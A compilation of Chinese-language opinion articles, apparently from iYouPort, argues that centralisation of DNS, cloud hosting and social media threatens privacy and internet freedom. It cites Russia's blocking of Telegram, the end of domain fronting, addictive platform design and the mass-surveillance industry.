DNS 是为高度分散的情况设计的，如果每一个域名解析请求通过任何可能的链路发送到权威服务器，那么系统不会应付不过来。今天 Dyn、Neustar、AWS、Akamai、Ultra DNS 和CloudFlare 等公司提供了可伸缩的、易于配置的外部 DNS 托管选项及其云服务，让DNS 的托管日益集中。

研究人员发现，八大服务商的份额从 2011 年的 24% 增加到了 2017 年的 59%，而其中最大的四家则从 17% 提高到了约 50%。

为了衡量这种集中度，Greenstein的团队从2011年11月和2017年5月每个月对.com，.net和.org顶级域名中Alexa的前1000个域名进行抽样，为每个域名收集服务器信息。将其纳入统计计算中以得出市场集中度的量度，赫芬达尔 – 赫希曼指数（Herfindahl-Hirschman Index）或HHI。这是反托拉斯文献的标准指标，并被美国司法部和联邦贸易委员会使用。

HHI上升是一个不良迹象。

在这个充斥着易于使用的云服务的世界中，外部DNS托管已经取代了内部DNS服务器。

集中化是所有互联网人的撒旦。向云计算转移数据的趋势相当令人担忧，太多的服务器被集中在同一区域，为了更便于标准化控制，也便于对支付系统进行标准化处理。这是一种更有竞争力的技术，主要因

为集中起来更便宜。除了流媒体电影外，互联网上发的绝大多数通信都发生在服务器之间，所以你把服务器放得更近些就会更便宜。最终，就得到了这些通信服务器的巨型蜂巢。

不仅是网络攻击的危险，这些巨型建筑正是国安局大规模拦截的搜集点。中央控制让权力滥用变得非常容易。

集中化是赢在经济竞争中了。而为此埋单的正是我们所有人的个人安全。

原文

去中心化草图 - iYouPort

互联网自由-Resist集中化毁掉互联网自由

社交媒体的问题在于它是集中化的。集中化使大公司和政府能够窃取我们的隐私并限制我们的言论自由和自主权。我们可以这么办？

应该存在的是中立的技术标准和协议，例如博客、电子邮件和 Web 的标准和协议。实际上，虽然许多已提出的标准已经确实存在，但其中没有任何一个可以成为一个共同的主导标准。区块链技术—分散技术—是完美的，但并非绝对必要。通用协议将使我们能够跟踪公共 feeds，无论它们在何处发布。我们最终会选择许多不同的应用来查看这些 Feed。我们会选择自己的条款，而不是 Facebook 或 Twitter 的，用于出版和阅读。

事实上，如果你想向最多的人发布简短的公开帖子，你必须去 Twitter，不必丰富他们的网站，更不必让他们通过将你的内容——和你的隐私—— 货币化，从而赚大钱。同样，如果您想让朋友和家人轻松关注您的个人文字和其他媒体信息，您就必须访问 Facebook。这同样适用于各种其他类型的内容。但真的有必要这样持续下去吗？我们可以下放权力。

这是一个美好的梦想。但是我们如何它实现呢？

毕竟，关于如何取代巨大的滥用的社交媒体公司的问题在于，如果不做一些让每个人都急于尝试的东西，你就无法取代现有的技术。社交媒体巨头拥有世界上最优秀的程序员。我们这些“小家伙”怎么可能竞争？

好吧，我已经想到了开源软件和区块链社区可能会从社交媒体巨头的角度出发的方式。我的提议（简要概述）有五个部分：

1、开放数据标准。为 Twitter，Facebook 等使用的帖子（以及 threads 和其他数据结构）提供创建开放的数据标准和协议，或者可能只是采用已有的最佳标准和协议。我不是第一个想到这个的人;

W3C 已经解决了这个问题。它就像 RSS，但适用于各种社交媒体帖子类型。

2、发布/存储平台。为人们创建可靠的方式来发布，存储和加密他们的帖子（并保持秘密，如果他们想要的话）。这样的平台将允许用户准确地控制谁可以访问他们想要向世界广播的内容，以及以何种形式，并且他们不必向任何人请求许可。

3、feeds 阅读器。正如 RSS 标准产生了大量的“阅读器”和“聚合器”软件一样，因此应该有针对（1）中描述的各种数据标准和（2）中描述的出版商的类似的阅读器。虽然出版商可能有固有读者群（如社交媒体巨头所做的那样），但如果你想要一个完全分散的系统，发布和阅读功能需要保持独立。

4、社交媒体浏览器插件。这是杀手级的功能。创建至少一个（可能是许多竞争对手的）浏览器插件，使您能够选择提要，然后将它们与用户的 Twitter，Facebook 等账户显示在一起（这可能是对 Greasemonkey 的改编）换句话说，一旦这个功能可用，你可以告诉你的朋友：“我不在推特上。但是，如果您想看到我的 Tweet，那么只需安装此插件并输入我的 Feed 地址即可。您会看到我的帖子弹出，就像它们在 Twitter 上一样。我们可以这样做，因为您可以通过自己的浏览器控制任何网站的显示方式。这是完全合法的，这实际上是一个非常好的主意。“通过这种方式，虽然您可能永远不会看到 Twitter 或 Facebook，但您可以与仍在那里的朋友保持联系—并且完全按照您自己的标准。

5、创建易于使用的软件，使人们能够通过开放数据标准发布他们的 Twitter，Facebook，Mastodon，Diaspora，Gab，Minds 等。大型社交媒体公司已经拥有 API，一些较小的公司和开放项目都有标准，但没有一个单独的、通用的开放数据标准，让每个人都使用。这需要改变。如果您可以根据这样的标准发布您的 Twitter 数据，那将是非常棒的。然后你可以告诉你的朋友：“我在 Twitter 上，但我知道你不在。你不会错过我的推文。只需使用您选择的推文阅读器（就像一个旧的博客/ RSS提要阅读器）并订阅我的用户名。

这里的第二步是上述（1）和（4）的组合：首先，我们支持分散化的、通用的社交媒体标准和协议，然后我们在构建插件时使用这些标准，让我们的朋友仍然使用 Facebook 和 Twitter（等），查看我们在 Steemit，Minds，Gab 和 Bitchute 等网站上发布的帖子（更不用说即将出现的 Everipedia Network dapps）。

关于这个计划的令人兴奋的地方在于，为了让人们安装预想的插件，似乎不需要群聚效应。您只需要一位朋友，他想在 Twitter Feed 看到您的消息，您就可以安装一个允许您这样做的插件。随着越来越多的人这样做，应该会出现滚雪球效应。因此，即使是相对较少的采用也应该能创造出一种权力下放的运动。终结集中化社交媒体的日子就指日可待了。

我希望看到社交媒体巨头的各种竞争对手能够达成共同标准，并以其他方式联合起来进行这类项目。如果他们成功，隐私窃取、集中控制、老大哥社交媒体的日子将很快失败。我们将有希望回归互联网最原始的卓越和个人赋权精神。

我们必须做到这一点。这是互联网的未来。即使你放弃了社交媒体，我们也应该为那些仍在数字种植园工作的朋友和家人建立这个环境。

以上文章的作者 Larry Sanger 是维基百科的联合创始人。理论上他拥有的资本可以将他描述的方法实现出来，那么为什么他还没有这么做呢？实现这一方法—— 即有可能让监视资本主义整体崩溃的方法—— 难在哪里？

How to decentralize social media—a brief sketch. We have to do this, people. This is the future of the Internet. Even if you've given up social media, we should build this for our friends and family who are still toiling in the digital plantations.

原文

大型“云”供应商时代的审查制度：集中化毁掉互联网自由 - iyouport

互联网自由-Resist集中化毁掉互联网自由

【2018年1月28日存档】这场特别的战斗所强调的是：互联网自由日益掌握在全球最大的互联网公司手中，这是它被毁掉的关键原因。

互联网审查人员在阻止应用程序和网站方面采取了新的策略：向托管它们的大型云供应商施加压力。云服务这种新的集权化彻底改变了审查者和试图逃避审查的人之间的平衡。当软件巨头默认审查的结果是有利可图的时候，互联网自由还能持续多久？

最近俄罗斯政府与 telegram 通讯应用之间的争斗体现了这种情况可能发生的一种方式。自4月份以来，俄罗斯一直试图阻止 telegram，当时该公司拒绝让俄罗斯当局获得用户信息，莫斯科法院将其禁止。telegram 在俄罗斯有很大的受众面，它可以在 iPhone 和 Android 上使用，也有 Windows 和 Mac 桌面版本。该应用程序提供了可选的端对端加密。

自那以后，Telegram 一直在与俄罗斯电信监管机构 Roskomnadzor 玩猫鼠游戏，通过改变应用用于通信的 IP 地址绕避审查。由于 telegram 不是一个固定的网站，它不需要一个固定的 IP 地址。telegram 购买了数以万计的 IP 地址，并试图在审查员到达之前保持领先。这种方法对用户没有影响，并且审查者很难用明确的方法来阻止它。

法院下达禁令一周后，**Roskomnadzor** 采取了前所未有的举措：阻止了**1900**万个 **IP** 地址，其中许多 **IP** 地址位于亚马逊网络服务和谷歌云。附带损害非常明显：这种行为无意中破坏了许多其他使用这些平台的网络服务，而 Roskomnadzor 在明确表示其行动已影响到了对俄罗斯业务至关重要的服务后缩减了其屏蔽的规模。即便如此，审查员仍然阻止了数百万个 IP 地址。

最近，俄罗斯一直在向苹果施压，要求在其 iPhone 应用程序商店中下架 telegram 应用程序。目前为止苹果还没有遵守俄罗斯的要求，尽管如此，Roskomnadzor 很可能会进一步给苹果公司制造压力，包括威胁关闭其在俄罗斯的整个 iPhone 应用程序业务。

telegram 似乎是俄罗斯关注的一个奇怪的应用程序。从事安全工作的人不会推荐该程序，主要是因为其密码协议的性质。一般来说，专有密码术有许多致命的安全缺陷。我们通常推荐 Signal 用于安全的 SMS 消息传递。而 telegram 公司的目标是它能在糟糕的网络上运行得非常好。这就是为什么它在伊朗和阿富汗等地非常流行（伊朗也试图禁止该应用程序。）

俄罗斯政府不喜欢 telegram 或许是因为它的频道广播功能和匿名聊天功能，这使得其成为政治辩论和公民新闻的有效平台。俄罗斯虽然不喜欢加密，但他们打破 **telegram** 的加密的可能性很大。

伊朗试图阻止 **telegram** 的努力比俄罗斯更成功，这不是因为伊朗的审查技术更加复杂，而是因为 **telegram** 公司不愿意为保护伊朗用户做出很大努力。原因并不在于商业决策。简而言之，Telegram 是一款俄罗斯产品，设计者对应付克里姆林宫的审查更有动力。Telegram 的创始人 Pavel Durov 已经承诺投入数百万美元来帮助打击俄罗斯的审查制度。

目前，俄罗斯已经失败。但是这场战斗远未结束。俄罗斯可以轻松回归，对谷歌、亚马逊和苹果公司施加更大的针对性压力。一年前，Zello 使用了 Telegram 用来逃避俄罗斯审查员的相同技巧。然后，Roskomnadzor 威胁要阻止所有亚马逊网络服务和谷歌云; 在这种情况下，两家美国大公司都强迫 **Zello** 停止其 **IP** 跳的逃避审查战术。

俄罗斯也可以进一步发展其审查基础设施。如果它的能力像中国一样高端，它将能够更有效地阻止 telegram 运行。目前，俄罗斯只能阻止特定的 IP 地址，这种办法很低效。然而，Telegram 在俄罗斯的语音功能显著降低，可能是因为大容量的 IP 地址更容易被阻止。

无论目前的挫折如何，俄罗斯都可能会赢得长期胜利。俄罗斯当局通过证明其愿意承受封锁主要云提供商所造成的临时附带损害，他们促使云提供商阻止另一种更有效的反审查策略，或者至少能加速这一进程。

4月份，谷歌和亚马逊已经禁止并在技术上阻止了“域前置”的做法，这是一种很有效的反审查工具，伪装成其他类型的流量。开发人员会

使用流行的网站作为代理，通过另一个网站将流量引导到他们的服务器，审查人员会误以为流量是通过Google.com的。**2014**年以来，**Tor** 就曾经使用域前置。**Signal** 自**2016**年起一直在使用。谷歌和亚马逊这两家美国大企业取消该功能的做法只是送给全球审查巨魔的福音。

科技巨头已经卷入审查战多年。有时他们会参与战斗，有时他们会弃牌，但直到目前为止，总是有的选。这场特别的战斗所强调的是：互联网自由日益掌握在全球最大的互联网公司手中。

虽然自由可能有它的拥护者 – 美国公民自由联盟的推特表达了对反审查公司的支持，并且莫斯科大约有 12,000 人抗议对 telegram 的禁令 – 但是诸如禁止域前置等行为表明，让大型科技公司牺牲他们长期的商业利益，将是一场艰苦的战斗。

苹果已经弃牌了 —— 从其中国应用商店中删除了反审查应用程序（VPN）。

1993 年，**John Gilmore** 最著名的宣言是：“互联网将审查视为故障，并绕道而行”。他的表达在技术层面是正确的，因为互联网本质就是分散的，而不是如今这样高度集中化。尤其是所谓的“云”的出现，集中化前所未有地增长，互联网失去了其稳健性，政府和公司的审查也变得更加容易。○

原文

深陷 matrix - iYouPort

你我的灾难现实集中化毁掉互联网自由

调查显示，成年人每天花费大约6小时43分钟盯着屏幕；而六家大型媒体公司控制着我们通过电视机获得的90%以上的新闻和娱乐，并且大型公司也迅速整合了对互联网的控制。简单说就是，⚠我们所有人的认知一直在被极少数精英所操纵你有勇气拔掉插头吗？

「图」

「图」

你能想象一个没有电话、没有电视、没有电脑的社会吗？

我们曾经一直生活中这样的社会里。而如今，人们心甘情愿花费大把的时间让自己深陷 matrix。

我们正在越来越多地通过屏幕生活，但在这个过程中，我们彼此之间真正的人际互动的数量一直在加速下降。我们绝对沉迷于自己的手机、电视机和电脑，如果我们被迫“拔掉插销”几个小时，我们中的许多人实际上会变得非常不舒服。但即使大多数人已经知道了没有Wi-Fi是一种恐怖，刚刚发布的全新调查数据仍然令人难以置信。

根据对2000人进行的调查，美国普通成年人每天花费大约6小时43分钟盯着屏幕……

也就是说将近一半的清醒时间将花在屏幕上。更具体地说，调查发现，在42%的清醒时间里，人们的目光都集中在电视、智能手机、电脑、平板电脑或其他设备上。假设平均每晚睡8个小时（大多数成年人的情况甚至没有达到8小时），研究人员计算出人们每天花大约6小时43分钟盯着屏幕，也就是一生花费掉7,956天。

人们经常说“人如其食”，当涉及到我们的思想时，同样的规律也是适用的。

六家大型媒体公司控制着我们通过电视机获得的90%以上的新闻和娱乐，并且大型公司也迅速整合了对互联网的控制。

这给精英们提供了巨大的力量来影响全民对世界的看法。

如果我们想要反击，我们就必须接触到人们，而他们却一直盯着某种屏幕。

根据同样的调查，这种趋势似乎正在随着时间的推移而加速……

问题只会越来越严重。在接受调查的人中，79%的人表示他们的屏幕时间在过去五年中有所增加，四成的受访者认为增长是大幅度的。四分之三的参与者认为他们在屏幕前花费了太多时间。事实上，53%的人通过查看手机获得休闲。另有27%的人承认同时看电视和聊电话。

我还记得手机很大的那个年代，笨重的东西只能用来打电话。

但是现在我们的小手机为我们做了几乎一切，而另一项调查发现，美国人平均每月花费86小时使用智能手机……

每一项关于手机使用的调查都会发现，年轻人使用手机的次数远远超过老一代，但这是件好事还是坏事？

在“虚拟世界”中花费大量时间意味着在“现实世界”中完成工作的时间大幅减少，而忽视“现实世界”的后果可能非常严重。

例如，另一项全新的调查发现，几乎三分之一的千禧一代仍与父母同住……

但那些独立生活或与室友住在一起的人对他们的住房情况感觉更满意、更经济独立，有更多的储蓄，根据一项新的调查。

根据美国人口普查数据，1981–1997年出生的人中有31%与父母住在一起。

一些千禧一代已经接近40岁了，而那时“开始独立生活”已经很晚了。

电话、电视和电脑是有用的工具，它们可以通过数千种不同的方式让我们的生活更轻松。但是一旦他们开始接管我们的生活，那么就成为了一个主要的问题。成功人生的关键之一就是平衡，所以我们不想让自己沉迷于任何事。

可悲的是，事实上我们对数字设备的成瘾不会很快消失。孩子们在早期时代就对电子设备有所了解，现在，甚至学校都在大力接受“数字教学”。

陷入数字世界非常容易，特别是当现实世界变得难以应对时。

但如果我们把所有时间都花在数字世界上，那么我们在现实世界中的生活就将变得无比艰难，我们将永远不会成为我们本来应该成为的人。

- 关联：《你能控制自己使用智能手机的生活吗？如果能，你要发财了！》
- 《拒绝所有科技巨头的服务坚持半年，是一种什么样的体验？》

The Average Adult In The US “Logs 6 Hours, 43 Minutes Of Total Screen Time Daily”: Six giant media corporations control more than 90 percent of the news and entertainment that we get through our televisions, and control of the Internet is rapidly being consolidated by huge companies as well. That gives the elite an enormous amount of power to influence how Americans see the world. If we want to fight back, we have to reach Americans where they are, and where they usually are is in front of some sort of screen.

原文

请记住：你一直在被社交媒体操纵 - iYouPort

集中化毁掉互联网自由

在过去一年的某些时候，我意识到自己已经在不由自主地连续刷 Twitter。

我已经习惯了在线社会的脉搏，但不再相信我读到的推文是对真实人类真实观点的准确描绘。毫无疑问，社交媒体呈现的并不是真实的社会观点。我曾与许多学者合作过关于社交媒体网站如何让用户更容易被欺骗和误导的文章。有大量证据表明，社交媒体平台滥用我们每个人的数据，并允许 Trolls 和机器人利用他们的系统来操纵我们所有人的想法。

从那以后我就再也没有回到 Twitter 了—除了看朋友的新生婴儿和其他庆祝活动的照片之外；同时我也没有使用 Facebook。以下是关于为什么我们应该对网上秘密的恶意影响者保持警惕。

- 延伸阅读：《你是否应该远离社交媒体？》
- 《社交媒体的隧道生态和心理操控》
- 《互联网时代：并非心理学意义上的自恋文化》
- 《舞台还是培养基？自恋型人格与社交网络媒介的关系》

1. 不要相信社交媒体

当2018年开始时，我像美国的许多人一样担心前一年有关 Facebook 数据在2016年选举中如何被用来操纵选民的揭露。我考虑过删除我的 Facebook 帐户，但作为我工作的一部分，我需要了解平台上发生的事。所以我接受了达特茅斯学院社交媒体学者 Denise Anthony 和 Luke Stark 的建议：

“如果没有充分的完整的信息关于一旦收集到个人数据会发生什么，我们建议人们默认不信任任何公司，直到他们确信可以信任为止。“

从那时起，我在网站上花的时间比以前少得多了。此外，我从我的个人资料中删除了一些信息，并且对于点击链接、评论帖子甚至“点赞”都非常有限。Facebook 仍然可以跟踪我看到了什么样的内容，但

不再能跟踪我对它的反应。我想，并且希望，这意味着公司掌握的关于我的信息较少了，并且不太能够深度操纵我。

- 延伸阅读：《社交媒体巨头如何毁掉了民主？我们可以怎么办？》
- 《Facebook 用欺骗的方法拼命扩大其生物识别数据收集，目的是在现实世界中控制你》
- 《政治的未来：当机器决定"民主"？》
- 《全球政权如何利用技术和贫困奴役人民？暴政背后的黑手》
- 《为什么技术有利于暴政?—— 一场你必须参与的政治斗争》
- 《在中国：火爆的信息倒卖市场和概念错位》

2. 检查我自己的看法

为了进一步了解在线活动的操纵性和误导性，我使用了 Filippo Menczer，Giovanni Luca Ciampaglia 及其同事在印第安纳大学社交媒体观察站创建的工具。他们希望"帮助人们意识到[大脑、社会和技术的偏见]，并保护自己免受外部影响，避免被它们利用。"

最有趣的是他们的游戏 "Fakey"，它要求玩家识别哪些新闻报道和信息来源是可靠的—哪些不是。他们还建立了 Hoaxy，它以图形方式显示虚假信息在社交网络中的传播方式；以及 Botometer，用来评估特定的 Twitter 帐户是否是机器人的可能性。

3. 警惕机器人

我从麻省理工学院教授 Tauhid Zaman 那里了解到那些机器人有多危险。他分析了 Twitter 的活动，包括人和机器人，以及测量用户的政治观点。然后他找到了一种方法来模拟如果机器人不存在的话，人类的观点会是什么。

"少数非常活跃的机器人实际上可以显著改变民意，"他发现。关键不在于有多少 Twitter 机器人，而是他们制作了多少帖子。

- 延伸阅读：《巨魔崛起：政府资助的网络水军正遍布全球》
- 《信息战：揭露政府的宣传机器如何伪装成"独立媒体"和 NGO 以混淆视听》
- 《网络水军如何试图影响选举？》
- 《真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？》
- 《新报告：为什么虚假总是能'击败'真相？机器人水军并不是主

要原因》

4. 与真人交往

通过在社交媒体上花费更少的时间而获得的所有空闲时间都得到了很好的利用，面对面的社交活动和独立的社交活动会更令人感觉愉快。正如乔治城大学心理学家 Kostadin Kushlev 所发现的那样，“数字社交不会增加、实际上只会缩小非数字社交的心理效益。”

当面对面交往时，我当然感觉最好，正如 Kushlev 在他的研究课题中发现的那样，专注于在我面前的人比获取从手机上传达情感时更加愉快。

避免心理操纵和政治操纵，与朋友和亲人在一起度过更愉快的时光，这就是 2019 年的一个伟大计划。你值得拥有。

- 延伸阅读：社交媒体造成了什么样的时代心理《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》

注：IYP 认同这篇文章中举出的所有理由，它们一直是众所周知的事实。但正如我们一直重申的那样，任何事都有两面，社交媒体的弊端和其有利之势几乎一样大。最佳方案依旧会建议关于如何扬长避短的智慧，就如我们上述关联的诸多文章中所体现的那样。让它为我们服务，而不是反过来。

Remember, you’re being manipulated on social media: Avoiding psychological and political manipulation and having a more enjoyable time with friends and loved ones in person sounds like a great plan for 2019, too.

原文

隐性操控：社交媒体平台正在使用与赌博公司相同的技术只为让你上瘾 - iYouPort

集中化毁掉互联网自由

专家警告说，社交媒体平台正在使用与赌博公司相同的技术来创造心理依赖，以将其产品更深层地融入到用户的生活中。

这些方法非常有效，它们可以激活大脑中类似可卡因的机制，创造心理渴望，甚至在用户感知智能手机的嗡嗡声时引发“呼叫和通知的幻觉”，即使它不是真的存在。

“Facebook，Twitter 和其他公司使用与赌博业相似的方法让用户停留在他们的网站上，”Addiction by Design 的作者 NatashaSchüll 表示，他设计了老虎机和其他系统，旨在让用户上瘾。“在网络经济中，收入是持续消费者关注的功能 – 以点击次数和花费的时间衡量。”

Schüll 解释说，无论是 Snapchat 滚动条、Facebook 照片滚动，还是玩 CandyCrush，你都会陷入“无聊循环”或反复循环的不确定性中，悬念和反馈 – 而且奖励机制足以让你无法离开这里。

Schüll 说：“如果你脱节了，就会得到一些小小的信息或者奖励再次吸引你的注意力，让你重新回到页面上来“，“必须开始认识到我们在社交媒体上所花费掉的时间成本。这不仅仅是一场游戏 – 它直接在财务、身体和情感上影响我们。“

重新创建老虎机

谷歌的前设计伦理学家 Tristan Harris 说，我们的新闻提要中的拉动式刷新和无限滚动机制与老虎机非常相似。据说他是硅谷最有良心的人了。

“就像小白鼠一样，不停拉动杠杆，偶尔你会获得奖赏，很多时候并没有，你不知道下一次会不会有，于是根本停不下来地拉动杠杆“。在社交网络上，你有点时候能得到满足，但更多时候没有任何收获，

你不知道什么似乎能得到满足，于是根本停不下来地刷。这就是赌博机制。

“奖励是心理学家称之为可变强化时间表的因素，也是社交媒体用户忍不住反复检查其屏幕的关键因素”，行为成瘾学教授、诺丁汉特伦特大学国际游戏研究部主任 Mark Griffiths 博士说，“社交媒体网站塞满了不可预知的奖励。他们试图抓住用户的注意力……让社交媒体用户创建一个例程并习惯性地检查自己的手机屏幕。“

像赌博一样，这会改变大脑的结构，使人们更易患上抑郁症和焦虑症，社交媒体的使用与抑郁症有关，其对使用者产生的不良心理影响的潜力不容忽视或低估。

例如，受高社交媒体使用的驱动会导致电话依赖性，也就是误认为手机在振动，或者收到了信息，其实根本没有收到。被称为“幽灵呼叫”。来自密歇根大学的人类行为学专家 Daniel Kruger 教授说：“幽灵呼叫和通知与人们对这些信号的心理渴望有关”，“这些社交媒体信息可以激活与摄取可卡因一样的大脑机制，这只是识别这些机制的方法之一，因为我们的反应是我们大脑的生理产物。”

“有专门的部门在设计这样的系统，目的是尽可能让人上瘾。他们希望你永久在线，并通过消息和刺激来轰炸你，试图将你的注意力重新引导回他们的应用或网页。“

科技业内人士此前曾表示过“我们的头脑可能被劫持了”，硅谷让我们上瘾，而有些人承认他们禁止孩子使用社交媒体。

然而，今年早些时候，Facebook 的每月活跃用户数量已经达到了 21.3 亿，与去年同期相比增长了14%。尽管围绕其数据隐私问题引发了强烈的舆论谴责，但社交媒体巨头在 2018 年第一季度再次获得了创纪录的收入，119.7 亿美元，比去年增长了 49%。

其中一个关键原因是因为 Facebook 在我们的生活中已经变得如此根深蒂固：根本放不下来了。

行为心理学家 Nir Eyal 是“如何构建习惯产品”一书的作者，他概括了人们依附于社交媒体的模式。“它始于一个触发器，一个行动，一个奖励，然后是一个投资，并通过连续的循环，通过这些钩子，形成习惯。你在各种产品中都能看到这种机制，当然包括社交媒体和赌博。这是习惯改变模式的重要组成部分。“

Eyal 评论说，一旦某种由外部触发器引起的习惯得以形成，如通知、电子邮件或任何形式的叮当声，就不再需要了。你会自动进入机械性动作中。

原文

为自由而战（一）卧室里的坦克——被军事化的互联网人，以及可以怎么办 - iyouport

为自由而战系列（完成）

【2018年1月6日存档】如果革命要走向成功，就需要一群愤怒的大众，需要足够高的速度，而且如果组织发生在互联网上，那就需要获胜，因为一旦不能取胜，同样的基础设施既能让一种舆论共识迅速发展起来，也能被用来追踪所有卷入舆论散播的人。

我想提醒的只是三点：1、为什么要了解这些——因为它关系到所有人在这个时代的生存；2、为什么不能妥协——因为敌人一直都在进攻；3、中国人缺少的是什么？——抵抗意识、技能和知识。

最可怕的并不是不了解，而是妥协，甚至是自我审查式的拼命想“做个好人”，这在中国很常见，在全球都不稀罕，他们看不见反击者的奋力拼搏，对送到眼前的保护盾熟视无睹，然后陷在无力的哀伤中，一事无成。正是他们，给敌人的火力敞开了大门。

新时代的战争和被动军事化

形形色色的黑客大赛往往都有政府和军队的资助，当权者希望从中培养、挖掘到更多的赛博战士。他们从战争的角度来看待问题，他们不是在传授战术，他们关注的是对防御系统的修辞术，以及攻击术，于是他们需要激怒人们，激起人们的爱国狂热。他们在推动一种机器齿轮式的心智，让人们跟从“国家利益”的命令行事。

技术只是一个砝码，民族主义才是杠杆。

民间技术高手蜂拥而至，因为有耀眼的奖金和“高贵”的工作机会，然后他们成为了赢家，被政府戴上大红花，被盛情邀请去“保卫祖国”。

也许你认为自己不是技术人士，这些与你无关？也许你说那些人是五毛、功名利禄的奴隶，然后便可以高枕无忧了。但事实并非如此。只

要你拥有一台可联网的电子设备，你就无法摆脱被军事化的阴影。

整个赛博空间都在加速军事化，原本属于全球公民的领地正在被把控资源的当权者步步占领。这个时代里，只要你通信就会被拦截，你就必然处于军事管制之中。事实上，绝大多数人都把自己的私生活放在了网上，这就像你的卧室里开进了一辆坦克，你的床下藏着一个士兵。这是公民身份的军事化。

不用考虑政治体制，几乎所有国家都在实施大规模拦截，因为它早已商业化了，那些想“赶着时代步伐”捞一笔的人们都在搞监控，独裁国家对这般邪门技术的狂热追求更是吸引到了全球技术专家的跪舔，钱如雨下。

大规模监控意味着储存所有通信，所有语音通话，所有流量数据，所有用到短信服务的消费方式，包括互联网连接方式。

曾经流行一时的侥幸心理认为，政府的财力无法支撑长期持续的全面监控，于是很多关注隐私安全的人把注意力放在了经济角度上。但很遗憾，大家想错了。如果你把军费预算和监控成本以及互联网战士的培训成本做一个比较，你会发现，普通的武器系统往往会更贵，赛博战士和大规模监控的成本相比一架战机来说是非常便宜的。

并且，随着科技飞跃，储存成本每年都在下降。比如德国，一年只需要花费大约三千万欧元你就可以得到一个储存系统，以良好的音质储存所有德国人的电话通话，还包括管理费用，至于纯粹储存成本只需要大概800万欧元。

南非还有像 VASTech这样的公司，它们销售一种系统每年只要一千万美元，可以拦截所有人的所有通话，并储存。于是状况已经开始变化了。在以前，跨国拦截只是针对特定目标的全面监听，而现在，是永久性的拦截一切，储存一切。

比如 Eagle 这套系统，法国公司 Amesys 曾经把它卖给了卡扎菲的利比亚，在商业文件中被描述为“全国性拦截机制”，它可以监听全国所有人的通信。卡扎菲时代的利比亚有多穷、资源有多匮乏，众所周知，他们都买得起用得起法国的技术来实现斯塔西式全面监控，足够说明问题了吗？

这个“行业”的工作被分为战略路径和战术路径。战术路径的意思是：在目标场所内安装窃听器，需要有人把麦克风带进去，或者把GSM部署在一辆车里，就可以拦截人们的通话，不需要和网络运营商交涉，

也无需提前获得搜查令之类的文件，不需要走法律程序。

而战略路径的意思则是默认执行，也就是记录一切，然后再分析，系统整理。

也就是把一颗通讯卫星正在转播的东西全部拿走，把一根光缆上传播的东西全部拿走。当权者喜欢这么干，因为你不知道谁什么时候就会变成嫌疑人。在西方国家，这种手段曾经引起过广泛的宪法争论，正因为他们可以永久保留这些数据。

几乎所有国家都在拦截进出本国的通信，然而像自动封锁银行账户、自动部署警力、针对特定群体拦截等诸多此类的后续活动，在Al技术的驱使下，基本是轻而易举的。西门子曾经向情报部门推销过一款自动实施行动的平台，一旦拦截记录发现A目标正位于B目标的特定范围内，目标A就能收到一条提示邮件——一个关键词——然后就能触发一次行动。

情报部门和政府的工作核心是：通过剥夺人们理解事物的能力来延缓事态发展。最常用的就是“机密”二字，一旦这个词出现，便意味着你被限制了继续了解详情的资格。

当权者会把互联网看成一种疾病，这种疾病损害了他们的能力，过去他们在用这种能力去定义现实，去定义正在发声的事，去限制人们对事实的了解，以及弱化人们的反应能力。于是现在，当权者对监控技术大举投入资金，因为他们害怕互联网会影响他们的统治方式。

他们总是在谈论数字战争，就像是他们的生意，没有一个人想要缔造和平。他们努力控制技术和法律进程，以此作为促进自身利益的手段——用对你我的利益的剥夺，实现他们自己的利益。

可怕的无知者

过去，为斯塔西服务的人还能拿到金钱报酬，而如今，所有人在 Facebook 上刷活跃度，而这些人能获得的报酬只是虚无缥缈的所谓社会资本。

自我保护意识薄弱的中国人更惨，他们为了获得更多的人脉资源拼命地全裸行军，把自己内心的独白、私人信息都放在共产党举目可见的范围内，他们认为不翻墙的时候 **VPN** 就是多余的，他们嫌弃加密通信里“没有红包”可抢，他们觉得自己“循规蹈矩”就能避祸免灾，一个“**18**岁”梗就能让大批的他们主动为监视数据库添砖加瓦。

他们已经爱上了这个圆形监狱，舒舒服服地紧闭双眼，并告诉你“我们没有任何办法”。

互联网文化让人们太过乐意交出自己的私人信息了。

Google知道你在和谁通信、你了解些什么、你在琢磨什么、你的性取向、宗教和哲学信仰，你什么时候上线什么时候下线，N年前的今天此刻你正在找些什么，它都知道。

Facebook就是靠模糊私人、朋友和公众的界限来做生意的，它还储存着你误认为只对朋友和亲人可见的信息。你以为设置了信息的公开程度就一定程度上安全了？当你每一次点击“发布”时，Facebook就全知道了。这点上所有社交网络都一样。

如果你在互联网上自愿向第三方透露信息，就甭指望有任何隐私了。互联网上每个人都是第三方。

政府和情报部门可以索取Google、twitter 和Facebook的所有数据，这是合法的，而且他们还能阻止这些网络运营商将被索取数据的事实通知给客户，大部分时候你不可能知道。某种程度上你可以忘掉那个透明度报告的。

并且你还很难指责那些“遵守法律规定”的公司，这种行为被认为是正常的，而拒绝政府要求、也就是违法的行为，才被认为不正常。这也是为什么苹果能趾高气扬地辩称下架VPN是“遵循中国的法律行事”。

怎么办之一

在信息掌权者和数量越来越多的公众之间存在着一场斗争。前者是搜集信息的局内人，那些信息的影子政府，他们一直在迅速壮大，互换情报，彼此连接、并积极吸引私营部门的力量；后者就是你我，把互联网当成一个可以让全人类为自己发声的公共工具。

尽管几乎所有国家都在实施大规模监控，但大规模的通信依旧能让数以百万计的人们迅速达成共识。如果从常态中能够非常迅速地形成一种新的大规模舆论，尽管国家也许能够预计它的发展，但当权者基本没有足够时间对此做出有效反应。

这就要看社会凝聚力了。也就是人与人之间的互信。互信被网络的视觉匿名折损了一部分，但并不是太严重，最关键的还在于一个社会本身的互信能力。为什么警察国家的社会互信程度非常低，而民主社会里人们更容易彼此信任，这个问题以前写过，不再重复。

2008年的开罗抗议得益于 Facebook 上的组织，这震惊了穆巴拉克政府，结果是，那些在网上发动抗议的人也被通过 Facebook 追踪到了；2011年，埃及革命中所使用的最重要文件之一，其第一页和最后一页都用大字这样写着："不要使用 Twitter 和 Facebook 来散发本手册"。

尽管如此，当时还是有不少埃及人使用了 Twitter 和 Facebook，但他们幸运的是，革命成功了。如果没有成功，这些人将陷入一种非常危险的境地。

中文twitter 的"茉莉花革命"时发生了什么，中国人都知道。也正是因为没有成功，才会有大批的人落入恐怖之中。

